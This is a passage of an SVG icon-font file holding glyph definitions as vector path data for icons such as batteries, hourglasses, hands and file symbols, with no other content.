q45 -13 82 4.5t37 50.5q0 46 -67.5 100.5t-115.5 59.5q-40 5 -63.5 -37.5t-6.5 -76.5zM428 -30q-13 -27 -56 -59.5t-77 -41.5q-45 -13 -82 4.5t-37 50.5q0 46 67.5 100.5t115.5 59.5q40 5 63 -37.5t6 -76.5zM1158 1094h1q-41 0 -76 -15q27 -8 44 -30.5t17 -49.5
q0 -35 -27 -60t-65 -25q-52 0 -80 43q-5 -23 -5 -42q0 -74 56 -126.5t135 -52.5q80 0 136 52.5t56 126.5t-56 126.5t-136 52.5zM1462 1312q-99 109 -220.5 131.5t-245.5 -44.5q27 60 82.5 96.5t118 39.5t121.5 -17t99.5 -74.5t44.5 -131.5zM2212 73q8 -11 -11 -42
q7 -23 7 -40q1 -56 -44.5 -112.5t-109.5 -91.5t-118 -37q-48 -2 -92 21.5t-66 65.5q-687 -25 -1259 0q-23 -41 -66.5 -65t-92.5 -22q-86 3 -179.5 80.5t-92.5 160.5q2 22 7 40q-19 31 -11 42q6 10 31 1q14 22 41 51q-7 29 2 38q11 10 39 -4q29 20 59 34q0 29 13 37
q23 12 51 -16q35 5 61 -2q18 -4 38 -19v73q-11 0 -18 2q-53 10 -97 44.5t-55 87.5q-9 38 0 81q15 62 93 95q2 17 19 35.5t36 23.5t33 -7.5t19 -30.5h13q46 -5 60 -23q3 -3 5 -7q10 1 30.5 3.5t30.5 3.5q-15 11 -30 17q-23 40 -91 43q0 6 1 10q-62 2 -118.5 18.5t-84.5 47.5
q-32 36 -42.5 92t-2.5 112q16 126 90 179q23 16 52 4.5t32 -40.5q0 -1 1.5 -14t2.5 -21t3 -20t5.5 -19t8.5 -10q27 -14 76 -12q48 46 98 74q-40 4 -162 -14l47 46q61 58 163 111q145 73 282 86q-20 8 -41 15.5t-47 14t-42.5 10.5t-47.5 11t-43 10q595 126 904 -139
q98 -84 158 -222q85 -10 121 9h1q5 3 8.5 10t5.5 19t3 19.5t3 21.5l1 14q3 28 32 40t52 -5q73 -52 91 -178q7 -57 -3.5 -113t-42.5 -91q-28 -32 -83.5 -48.5t-115.5 -18.5v-10q-71 -2 -95 -43q-14 -5 -31 -17q11 -1 32 -3.5t30 -3.5q1 5 5 8q16 18 60 23h13q5 18 19 30t33 8
t36 -23t19 -36q79 -32 93 -95q9 -40 1 -81q-12 -53 -56 -88t-97 -44q-10 -2 -17 -2q0 -49 -1 -73q20 15 38 19q26 7 61 2q28 28 51 16q14 -9 14 -37q33 -16 59 -34q27 13 38 4q10 -10 2 -38q28 -30 41 -51q23 8 31 -1zM1937 1025q0 -29 -9 -54q82 -32 112 -132
q4 37 -9.5 98.5t-41.5 90.5q-20 19 -36 17t-16 -20zM1859 925q35 -42 47.5 -108.5t-0.5 -124.5q67 13 97 45q13 14 18 28q-3 64 -31 114.5t-79 66.5q-15 -15 -52 -21zM1822 921q-30 0 -44 1q42 -115 53 -239q21 0 43 3q16 68 1 135t-53 100zM258 839q30 100 112 132
q-9 25 -9 54q0 18 -16.5 20t-35.5 -17q-28 -29 -41.5 -90.5t-9.5 -98.5zM294 737q29 -31 97 -45q-13 58 -0.5 124.5t47.5 108.5v0q-37 6 -52 21q-51 -16 -78.5 -66t-31.5 -115q9 -17 18 -28zM471 683q14 124 73 235q-19 -4 -55 -18l-45 -19v1q-46 -89 -20 -196q25 -3 47 -3z
M1434 644q8 -38 16.5 -108.5t11.5 -89.5q3 -18 9.5 -21.5t23.5 4.5q40 20 62 85.5t23 125.5q-24 2 -146 4zM1152 1285q-116 0 -199 -82.5t-83 -198.5q0 -117 83 -199.5t199 -82.5t199 82.5t83 199.5q0 116 -83 198.5t-199 82.5zM1380 646q-105 2 -211 0v1q-1 -27 2.5 -86
t13.5 -66q29 -14 93.5 -14.5t95.5 10.5q9 3 11 39t-0.5 69.5t-4.5 46.5zM1112 447q8 4 9.5 48t-0.5 88t-4 63v1q-212 -3 -214 -3q-4 -20 -7 -62t0 -83t14 -46q34 -15 101 -16t101 10zM718 636q-16 -59 4.5 -118.5t77.5 -84.5q15 -8 24 -5t12 21q3 16 8 90t10 103
q-69 -2 -136 -6zM591 510q3 -23 -34 -36q132 -141 271.5 -240t305.5 -154q172 49 310.5 146t293.5 250q-33 13 -30 34q0 2 0.5 3.5t1.5 3t1 2.5v1v-1q-17 2 -50 5.5t-48 4.5q-26 -90 -82 -132q-51 -38 -82 1q-5 6 -9 14q-7 13 -17 62q-2 -5 -5 -9t-7.5 -7t-8 -5.5t-9.5 -4
l-10 -2.5t-12 -2l-12 -1.5t-13.5 -1t-13.5 -0.5q-106 -9 -163 11q-4 -17 -10 -26.5t-21 -15t-23 -7t-36 -3.5q-6 -1 -9 -1q-179 -17 -203 40q-2 -63 -56 -54q-47 8 -91 54q-12 13 -20 26q-17 29 -26 65q-58 -6 -87 -10q1 -2 4 -10zM507 -118q3 14 3 30q-17 71 -51 130
t-73 70q-41 12 -101.5 -14.5t-104.5 -80t-39 -107.5q35 -53 100 -93t119 -42q51 -2 94 28t53 79zM510 53q23 -63 27 -119q195 113 392 174q-98 52 -180.5 120t-179.5 165q-6 -4 -29 -13q0 -1 -1 -4t-1 -5q31 -18 22 -37q-12 -23 -56 -34q-10 -13 -29 -24h-1q-2 -83 1 -150
q19 -34 35 -73zM579 -113q532 -21 1145 0q-254 147 -428 196q-76 -35 -156 -57q-8 -3 -16 0q-65 21 -129 49q-208 -60 -416 -188h-1v-1q1 0 1 1zM1763 -67q4 54 28 120q14 38 33 71l-1 -1q3 77 3 153q-15 8 -30 25q-42 9 -56 33q-9 20 22 38q-2 4 -2 9q-16 4 -28 12
q-204 -190 -383 -284q198 -59 414 -176zM2155 -90q5 54 -39 107.5t-104 80t-102 14.5q-38 -11 -72.5 -70.5t-51.5 -129.5q0 -16 3 -30q10 -49 53 -79t94 -28q54 2 119 42t100 93z" />
    <glyph glyph-name="_538" unicode="&#xf23d;" horiz-adv-x="2304" 
d="M1524 -25q0 -68 -48 -116t-116 -48t-116.5 48t-48.5 116t48.5 116.5t116.5 48.5t116 -48.5t48 -116.5zM775 -25q0 -68 -48.5 -116t-116.5 -48t-116 48t-48 116t48 116.5t116 48.5t116.5 -48.5t48.5 -116.5zM0 1469q57 -60 110.5 -104.5t121 -82t136 -63t166 -45.5
t200 -31.5t250 -18.5t304 -9.5t372.5 -2.5q139 0 244.5 -5t181 -16.5t124 -27.5t71 -39.5t24 -51.5t-19.5 -64t-56.5 -76.5t-89.5 -91t-116 -104.5t-139 -119q-185 -157 -286 -247q29 51 76.5 109t94 105.5t94.5 98.5t83 91.5t54 80.5t13 70t-45.5 55.5t-116.5 41t-204 23.5
t-304 5q-168 -2 -314 6t-256 23t-204.5 41t-159.5 51.5t-122.5 62.5t-91.5 66.5t-68 71.5t-50.5 69.5t-40 68t-36.5 59.5z" />
    <glyph glyph-name="_539" unicode="&#xf23e;" horiz-adv-x="1792" 
d="M896 1472q-169 0 -323 -66t-265.5 -177.5t-177.5 -265.5t-66 -323t66 -323t177.5 -265.5t265.5 -177.5t323 -66t323 66t265.5 177.5t177.5 265.5t66 323t-66 323t-177.5 265.5t-265.5 177.5t-323 66zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348
t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM496 704q16 0 16 -16v-480q0 -16 -16 -16h-32q-16 0 -16 16v480q0 16 16 16h32zM896 640q53 0 90.5 -37.5t37.5 -90.5q0 -35 -17.5 -64t-46.5 -46v-114q0 -14 -9 -23
t-23 -9h-64q-14 0 -23 9t-9 23v114q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5zM896 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM544 928v-96
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 93 65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5v-96q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 146 -103 249t-249 103t-249 -103t-103 -249zM1408 192v512q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-512
q0 -26 19 -45t45 -19h896q26 0 45 19t19 45z" />
    <glyph glyph-name="_540" unicode="&#xf240;" horiz-adv-x="2304" 
d="M1920 1024v-768h-1664v768h1664zM2048 448h128v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288zM2304 832v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113
v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="_541" unicode="&#xf241;" horiz-adv-x="2304" 
d="M256 256v768h1280v-768h-1280zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_542" unicode="&#xf242;" horiz-adv-x="2304" 
d="M256 256v768h896v-768h-896zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_543" unicode="&#xf243;" horiz-adv-x="2304" 
d="M256 256v768h512v-768h-512zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_544" unicode="&#xf244;" horiz-adv-x="2304" 
d="M2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23
v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_545" unicode="&#xf245;" horiz-adv-x="1280" 
d="M1133 493q31 -30 14 -69q-17 -40 -59 -40h-382l201 -476q10 -25 0 -49t-34 -35l-177 -75q-25 -10 -49 0t-35 34l-191 452l-312 -312q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v1504q0 42 40 59q12 5 24 5q27 0 45 -19z" />
    <glyph glyph-name="_546" unicode="&#xf246;" horiz-adv-x="1024" 
d="M832 1408q-320 0 -320 -224v-416h128v-128h-128v-544q0 -224 320 -224h64v-128h-64q-272 0 -384 146q-112 -146 -384 -146h-64v128h64q320 0 320 224v544h-128v128h128v416q0 224 -320 224h-64v128h64q272 0 384 -146q112 146 384 146h64v-128h-64z" />
    <glyph glyph-name="_547" unicode="&#xf247;" horiz-adv-x="2048" 
d="M2048 1152h-128v-1024h128v-384h-384v128h-1280v-128h-384v384h128v1024h-128v384h384v-128h1280v128h384v-384zM1792 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 -128v128h-128v-128h128zM1664 0v128h128v1024h-128v128h-1280v-128h-128v-1024h128v-128
h1280zM1920 -128v128h-128v-128h128zM1280 896h384v-768h-896v256h-384v768h896v-256zM512 512h640v512h-640v-512zM1536 256v512h-256v-384h-384v-128h640z" />
    <glyph glyph-name="_548" unicode="&#xf248;" horiz-adv-x="2304" 
d="M2304 768h-128v-640h128v-384h-384v128h-896v-128h-384v384h128v128h-384v-128h-384v384h128v640h-128v384h384v-128h896v128h384v-384h-128v-128h384v128h384v-384zM2048 1024v-128h128v128h-128zM1408 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 256
v128h-128v-128h128zM1536 384h-128v-128h128v128zM384 384h896v128h128v640h-128v128h-896v-128h-128v-640h128v-128zM896 -128v128h-128v-128h128zM2176 -128v128h-128v-128h128zM2048 128v640h-128v128h-384v-384h128v-384h-384v128h-384v-128h128v-128h896v128h128z" />
    <glyph glyph-name="_549" unicode="&#xf249;" 
d="M1024 288v-416h-928q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68v-928h-416q-40 0 -68 -28t-28 -68zM1152 256h381q-15 -82 -65 -132l-184 -184q-50 -50 -132 -65v381z" />
    <glyph glyph-name="_550" unicode="&#xf24a;" 
d="M1400 256h-248v-248q29 10 41 22l185 185q12 12 22 41zM1120 384h288v896h-1280v-1280h896v288q0 40 28 68t68 28zM1536 1312v-1024q0 -40 -20 -88t-48 -76l-184 -184q-28 -28 -76 -48t-88 -20h-1024q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="_551" unicode="&#xf24b;" horiz-adv-x="2304" 
d="M1951 538q0 -26 -15.5 -44.5t-38.5 -23.5q-8 -2 -18 -2h-153v140h153q10 0 18 -2q23 -5 38.5 -23.5t15.5 -44.5zM1933 751q0 -25 -15 -42t-38 -21q-3 -1 -15 -1h-139v129h139q3 0 8.5 -0.5t6.5 -0.5q23 -4 38 -21.5t15 -42.5zM728 587v308h-228v-308q0 -58 -38 -94.5
t-105 -36.5q-108 0 -229 59v-112q53 -15 121 -23t109 -9l42 -1q328 0 328 217zM1442 403v113q-99 -52 -200 -59q-108 -8 -169 41t-61 142t61 142t169 41q101 -7 200 -58v112q-48 12 -100 19.5t-80 9.5l-28 2q-127 6 -218.5 -14t-140.5 -60t-71 -88t-22 -106t22 -106t71 -88
t140.5 -60t218.5 -14q101 4 208 31zM2176 518q0 54 -43 88.5t-109 39.5v3q57 8 89 41.5t32 79.5q0 55 -41 88t-107 36q-3 0 -12 0.5t-14 0.5h-455v-510h491q74 0 121.5 36.5t47.5 96.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90
t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_552" unicode="&#xf24c;" horiz-adv-x="2304" 
d="M858 295v693q-106 -41 -172 -135.5t-66 -211.5t66 -211.5t172 -134.5zM1362 641q0 117 -66 211.5t-172 135.5v-694q106 41 172 135.5t66 211.5zM1577 641q0 -159 -78.5 -294t-213.5 -213.5t-294 -78.5q-119 0 -227.5 46.5t-187 125t-125 187t-46.5 227.5q0 159 78.5 294
t213.5 213.5t294 78.5t294 -78.5t213.5 -213.5t78.5 -294zM1960 634q0 139 -55.5 261.5t-147.5 205.5t-213.5 131t-252.5 48h-301q-176 0 -323.5 -81t-235 -230t-87.5 -335q0 -171 87 -317.5t236 -231.5t323 -85h301q129 0 251.5 50.5t214.5 135t147.5 202.5t55.5 246z
M2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_553" unicode="&#xf24d;" horiz-adv-x="1792" 
d="M1664 -96v1088q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5zM1792 992v-1088q0 -66 -47 -113t-113 -47h-1088q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113
zM1408 1376v-160h-128v160q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h160v-128h-160q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_554" unicode="&#xf24e;" horiz-adv-x="2304" 
d="M1728 1088l-384 -704h768zM448 1088l-384 -704h768zM1269 1280q-14 -40 -45.5 -71.5t-71.5 -45.5v-1291h608q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1344q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h608v1291q-40 14 -71.5 45.5t-45.5 71.5h-491q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h491q21 57 70 92.5t111 35.5t111 -35.5t70 -92.5h491q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-491zM1088 1264q33 0 56.5 23.5t23.5 56.5t-23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5zM2176 384q0 -73 -46.5 -131t-117.5 -91
t-144.5 -49.5t-139.5 -16.5t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81zM896 384q0 -73 -46.5 -131t-117.5 -91t-144.5 -49.5t-139.5 -16.5
t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81z" />
    <glyph glyph-name="_555" unicode="&#xf250;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-77 -29 -149 -92.5
t-129.5 -152.5t-92.5 -210t-35 -253h1024q0 132 -35 253t-92.5 210t-129.5 152.5t-149 92.5q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_556" unicode="&#xf251;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -66 9 -128h1006q9 61 9 128zM1280 -128q0 130 -34 249.5t-90.5 208t-126.5 152t-146 94.5h-230q-76 -31 -146 -94.5t-126.5 -152t-90.5 -208t-34 -249.5h1024z" />
    <glyph glyph-name="_557" unicode="&#xf252;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -206 85 -384h854q85 178 85 384zM1223 192q-54 141 -145.5 241.5t-194.5 142.5h-230q-103 -42 -194.5 -142.5t-145.5 -241.5h910z" />
    <glyph glyph-name="_558" unicode="&#xf253;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-137 -51 -244 -196
h700q-107 145 -244 196q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_559" unicode="&#xf254;" 
d="M1504 -64q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472zM130 0q3 55 16 107t30 95t46 87t53.5 76t64.5 69.5t66 60t70.5 55t66.5 47.5t65 43q-43 28 -65 43t-66.5 47.5t-70.5 55t-66 60t-64.5 69.5t-53.5 76t-46 87
t-30 95t-16 107h1276q-3 -55 -16 -107t-30 -95t-46 -87t-53.5 -76t-64.5 -69.5t-66 -60t-70.5 -55t-66.5 -47.5t-65 -43q43 -28 65 -43t66.5 -47.5t70.5 -55t66 -60t64.5 -69.5t53.5 -76t46 -87t30 -95t16 -107h-1276zM1504 1536q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9
h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472z" />
    <glyph glyph-name="_560" unicode="&#xf255;" 
d="M768 1152q-53 0 -90.5 -37.5t-37.5 -90.5v-128h-32v93q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-429l-32 30v172q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-224q0 -47 35 -82l310 -296q39 -39 39 -102q0 -26 19 -45t45 -19h640q26 0 45 19t19 45v25
q0 41 10 77l108 436q10 36 10 77v246q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-32h-32v125q0 40 -25 72.5t-64 40.5q-14 2 -23 2q-46 0 -79 -33t-33 -79v-128h-32v122q0 51 -32.5 89.5t-82.5 43.5q-5 1 -13 1zM768 1280q84 0 149 -50q57 34 123 34q59 0 111 -27
t86 -76q27 7 59 7q100 0 170 -71.5t70 -171.5v-246q0 -51 -13 -108l-109 -436q-6 -24 -6 -71q0 -80 -56 -136t-136 -56h-640q-84 0 -138 58.5t-54 142.5l-308 296q-76 73 -76 175v224q0 99 70.5 169.5t169.5 70.5q11 0 16 -1q6 95 75.5 160t164.5 65q52 0 98 -21
q72 69 174 69z" />
    <glyph glyph-name="_561" unicode="&#xf256;" horiz-adv-x="1792" 
d="M880 1408q-46 0 -79 -33t-33 -79v-656h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528v-256l-154 205q-38 51 -102 51q-53 0 -90.5 -37.5t-37.5 -90.5q0 -43 26 -77l384 -512q38 -51 102 -51h688q34 0 61 22t34 56l76 405q5 32 5 59v498q0 46 -33 79t-79 33t-79 -33
t-33 -79v-272h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528h-32v656q0 46 -33 79t-79 33zM880 1536q68 0 125.5 -35.5t88.5 -96.5q19 4 42 4q99 0 169.5 -70.5t70.5 -169.5v-17q105 6 180.5 -64t75.5 -175v-498q0 -40 -8 -83l-76 -404q-14 -79 -76.5 -131t-143.5 -52
h-688q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 106 75 181t181 75q78 0 128 -34v434q0 99 70.5 169.5t169.5 70.5q23 0 42 -4q31 61 88.5 96.5t125.5 35.5z" />
    <glyph glyph-name="_562" unicode="&#xf257;" horiz-adv-x="1792" 
d="M1073 -128h-177q-163 0 -226 141q-23 49 -23 102v5q-62 30 -98.5 88.5t-36.5 127.5q0 38 5 48h-261q-106 0 -181 75t-75 181t75 181t181 75h113l-44 17q-74 28 -119.5 93.5t-45.5 145.5q0 106 75 181t181 75q46 0 91 -17l628 -239h401q106 0 181 -75t75 -181v-668
q0 -88 -54 -157.5t-140 -90.5l-339 -85q-92 -23 -186 -23zM1024 583l-155 -71l-163 -74q-30 -14 -48 -41.5t-18 -60.5q0 -46 33 -79t79 -33q26 0 46 10l338 154q-49 10 -80.5 50t-31.5 90v55zM1344 272q0 46 -33 79t-79 33q-26 0 -46 -10l-290 -132q-28 -13 -37 -17
t-30.5 -17t-29.5 -23.5t-16 -29t-8 -40.5q0 -50 31.5 -82t81.5 -32q20 0 38 9l352 160q30 14 48 41.5t18 60.5zM1112 1024l-650 248q-24 8 -46 8q-53 0 -90.5 -37.5t-37.5 -90.5q0 -40 22.5 -73t59.5 -47l526 -200v-64h-640q-53 0 -90.5 -37.5t-37.5 -90.5t37.5 -90.5
t90.5 -37.5h535l233 106v198q0 63 46 106l111 102h-69zM1073 0q82 0 155 19l339 85q43 11 70 45.5t27 78.5v668q0 53 -37.5 90.5t-90.5 37.5h-308l-136 -126q-36 -33 -36 -82v-296q0 -46 33 -77t79 -31t79 35t33 81v208h32v-208q0 -70 -57 -114q52 -8 86.5 -48.5t34.5 -93.5
q0 -42 -23 -78t-61 -53l-310 -141h91z" />
    <glyph glyph-name="_563" unicode="&#xf258;" horiz-adv-x="2048" 
d="M1151 1536q61 0 116 -28t91 -77l572 -781q118 -159 118 -359v-355q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v177l-286 143h-546q-80 0 -136 56t-56 136v32q0 119 84.5 203.5t203.5 84.5h420l42 128h-686q-100 0 -173.5 67.5t-81.5 166.5q-65 79 -65 182v32
q0 80 56 136t136 56h959zM1920 -64v355q0 157 -93 284l-573 781q-39 52 -103 52h-959q-26 0 -45 -19t-19 -45q0 -32 1.5 -49.5t9.5 -40.5t25 -43q10 31 35.5 50t56.5 19h832v-32h-832q-26 0 -45 -19t-19 -45q0 -44 3 -58q8 -44 44 -73t81 -29h640h91q40 0 68 -28t28 -68
q0 -15 -5 -30l-64 -192q-10 -29 -35 -47.5t-56 -18.5h-443q-66 0 -113 -47t-47 -113v-32q0 -26 19 -45t45 -19h561q16 0 29 -7l317 -158q24 -13 38.5 -36t14.5 -50v-197q0 -26 19 -45t45 -19h384q26 0 45 19t19 45z" />
    <glyph glyph-name="_564" unicode="&#xf259;" horiz-adv-x="2048" 
d="M459 -256q-77 0 -137.5 47.5t-79.5 122.5l-101 401q-13 57 -13 108q0 45 -5 67l-116 477q-7 27 -7 57q0 93 62 161t155 78q17 85 82.5 139t152.5 54q83 0 148 -51.5t85 -132.5l83 -348l103 428q20 81 85 132.5t148 51.5q89 0 155.5 -57.5t80.5 -144.5q92 -10 152 -79
t60 -162q0 -24 -7 -59l-123 -512q10 7 37.5 28.5t38.5 29.5t35 23t41 20.5t41.5 11t49.5 5.5q105 0 180 -74t75 -179q0 -62 -28.5 -118t-78.5 -94l-507 -380q-68 -51 -153 -51h-694zM1104 1408q-38 0 -68.5 -24t-39.5 -62l-164 -682h-127l-145 602q-9 38 -39.5 62t-68.5 24
q-48 0 -80 -33t-32 -80q0 -15 3 -28l132 -547h-26l-99 408q-9 37 -40 62.5t-69 25.5q-47 0 -80 -33t-33 -79q0 -14 3 -26l116 -478q7 -28 9 -86t10 -88l100 -401q8 -32 34 -52.5t59 -20.5h694q42 0 76 26l507 379q56 43 56 110q0 52 -37.5 88.5t-89.5 36.5q-43 0 -77 -26
l-307 -230v227q0 4 32 138t68 282t39 161q4 18 4 29q0 47 -32 81t-79 34q-39 0 -69.5 -24t-39.5 -62l-116 -482h-26l150 624q3 14 3 28q0 48 -31.5 82t-79.5 34z" />
    <glyph glyph-name="_565" unicode="&#xf25a;" horiz-adv-x="1792" 
d="M640 1408q-53 0 -90.5 -37.5t-37.5 -90.5v-512v-384l-151 202q-41 54 -107 54q-52 0 -89 -38t-37 -90q0 -43 26 -77l384 -512q38 -51 102 -51h718q22 0 39.5 13.5t22.5 34.5l92 368q24 96 24 194v217q0 41 -28 71t-68 30t-68 -28t-28 -68h-32v61q0 48 -32 81.5t-80 33.5
q-46 0 -79 -33t-33 -79v-64h-32v90q0 55 -37 94.5t-91 39.5q-53 0 -90.5 -37.5t-37.5 -90.5v-96h-32v570q0 55 -37 94.5t-91 39.5zM640 1536q107 0 181.5 -77.5t74.5 -184.5v-220q22 2 32 2q99 0 173 -69q47 21 99 21q113 0 184 -87q27 7 56 7q94 0 159 -67.5t65 -161.5
v-217q0 -116 -28 -225l-92 -368q-16 -64 -68 -104.5t-118 -40.5h-718q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 105 74.5 180.5t179.5 75.5q71 0 130 -35v547q0 106 75 181t181 75zM768 128v384h-32v-384h32zM1024 128v384h-32v-384h32zM1280 128v384h-32
v-384h32z" />
    <glyph glyph-name="_566" unicode="&#xf25b;" 
